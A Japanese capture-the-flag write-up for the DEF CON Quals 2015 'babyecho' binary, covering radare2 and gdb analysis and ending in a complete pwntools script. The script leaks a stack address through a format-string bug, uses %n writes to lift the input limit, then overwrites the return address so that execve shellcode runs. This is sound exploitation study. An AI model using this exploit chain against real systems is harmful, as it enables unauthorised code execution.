Defcon Quals 2015 : babyecho
問題概要
明らかなfsbがある. さらにスタックが+xである. しかし文字数制限がある.
解法
% file babyecho babyecho: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee, stripped
まず, stastically linked, strippedされているせいで, main関数の始まりがわからなかった. そこでradare2というのを使ってみた.
% radare2 babyecho [0x08048d0a]> aa [x] Analyze all flags starting with sym. and entry0 (aa) [0x08048d0a]> afl 0x08048d0a 1 34 entry0 0x08048f3c 6 275 main 0x08049050 47 821 -> 814 fcn.08049050 [0x08048d0a]> s main [0x08048f3c]> VV
上のようなコマンドでmainのアドレスが調べられて, ビジュアルでどのようなフローをしているから見られるようになる.
あとは, break *0x08048f3c としてgdbで調べていく.
0x8048fdb: call 0x804f560 ; printf("Reading %d bytes\n", 0xd) 0x8048ff7: call 0x8048e24 ; gets() 0x8049003: call 0x8048ecf ; printf <- FSB
結果, 上のような関数が呼ばれていることがわかる.
call 0x8048ecf が行われた直後のstackの状態は,
0000| 0xffffcb20 --> 0xffffcb3c ("aaaa%x%x") ; バッファのアドレス 0004| 0xffffcb24 --> 0xd ('\r') ; 文字列の長さのコピー Reading %d bytes\nの引数としてコピーされていた 0008| 0xffffcb28 --> 0xa ('\n') 0012| 0xffffcb2c --> 0x0 0016| 0xffffcb30 --> 0xd ('\r') ; 文字列の長さ 0020| 0xffffcb34 --> 0xffffcb3c ("aaaa%x%x") ; バッファのアドレス 0024| 0xffffcb38 --> 0x0 0028| 0xffffcb3c ("aaaa%x%x") ; バッファ
のような形になっている. まず, 入力文字の長さを長くしようと考えたとき, 現段階での長さは13(0xd)なので, スタックに2つありどちらを変更すればよいのかがわからない. しかし, 下のような命令があり, アドレスが小さい方の0xdは多い方のアドレスの値をコピーしたものなので, 変更するべきはアドレスの大きなほうであると予想される?
0x8048fd0: mov DWORD PTR [esp+0x4],eax ;eax = 0xd
よってesp+0x10のアドレスをFSBで変更すれば良いのだが, stackのアドレスは実行環境で変わるのでまずstackのアドレスがわかるような値をleakしなければならない. スタックにはバッファのアドレスが入っている場所があるのでそれをleakすれば, espの値などもわかる.
あとは%nを利用して文字列の長さを保存しているアドレスの値を書き換えれば良い. (13バイト指定があるので2回にわけないと大きな値に変更することができない.)
入力文字数の制限を変更したあとは, bufferに入れた, shellcodeを実行すればいいので, どこかでeipを奪えば良い.
call 0x8048ecf の関数が呼ばれた中でのret直前のスタックの様子は,
0000| 0xffffcb1c --> 0x8049008 (lea eax,[esp+0x1c]) 0004| 0xffffcb20 --> 0xffffcb3c ("aaaa") 0008| 0xffffcb24 --> 0xd ('\r') 0012| 0xffffcb28 --> 0xa ('\n') 0016| 0xffffcb2c --> 0x0 0020| 0xffffcb30 --> 0xd ('\r') 0024| 0xffffcb34 --> 0xffffcb3c ("aaaa") 0028| 0xffffcb38 --> 0x0
以上のようになっていて, 一番上にmainへの戻るためのeipが保存されているので, ここの値をbufferの先頭アドレス(shellcodeの先頭アドレス)に書き換えてやればshellcodeが実行される.
ミス
writeupを見た
参考サイト
https://kimiyuki.net/blog/2016/01/08/defcon-qualifier-ctf-2015-babyecho/
https://mzyy94.com/blog/2015/05/18/defcon-qual-23-writeup/
radare2の使い方
http://poppycompass.hatenablog.jp/entry/2016/10/26/164034
コード
# -*- coding: utf-8 -*- from pwn import * context.log_level = 'debug' b = ELF("./babyecho") p = process("./babyecho") index = 7 #bufferまでのindex shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" #バッファのアドレスを出力 payload1 = ''; payload1 += "%5$p" p.recvuntil("bytes\n") #0xd byte p.sendline(payload1) addr_buf = int(p.recvline(keepends=False), 16) addr_esp = addr_buf - 0x1c #4 * 7 log.info("addr_buf %x", addr_buf) log.info("addr_esp %x", addr_esp) #sizeの書き換え 2回 addr_size = addr_esp + 0x10 payload2 = '' payload2 += p32(addr_size) payload2 += "%%%dc%%%d$n" % (99, index) p.recvuntil('bytes\n') #13 byte p.sendline(payload2) addr_size = addr_esp + 0x10 payload2 = '' payload2 += p32(addr_size) payload2 += "%%%dc%%%d$n" % (999, index) p.recvuntil('bytes\n') #103byte p.sendline(payload2) #shellcode実行 addr_ret = addr_esp - 0x4 payload3 = "" payload3 += p32(addr_ret) payload3 += p32(addr_ret + 1) payload3 += p32(addr_ret + 2) payload3 += p32(addr_ret + 3) payload3 += shellcode nagasa = len(payload3) payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[0:1]) - nagasa) % 256, index) payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[1:2]) - u8(p32(addr_buf)[0:1])) % 256, index + 1) payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[2:3]) - u8(p32(addr_buf)[1:2])) % 256, index + 2) payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[3:4]) - u8(p32(addr_buf)[2:3])) % 256, index + 3) p.recvuntil("bytes\n") #1003 p.sendline(payload3) p.interactive()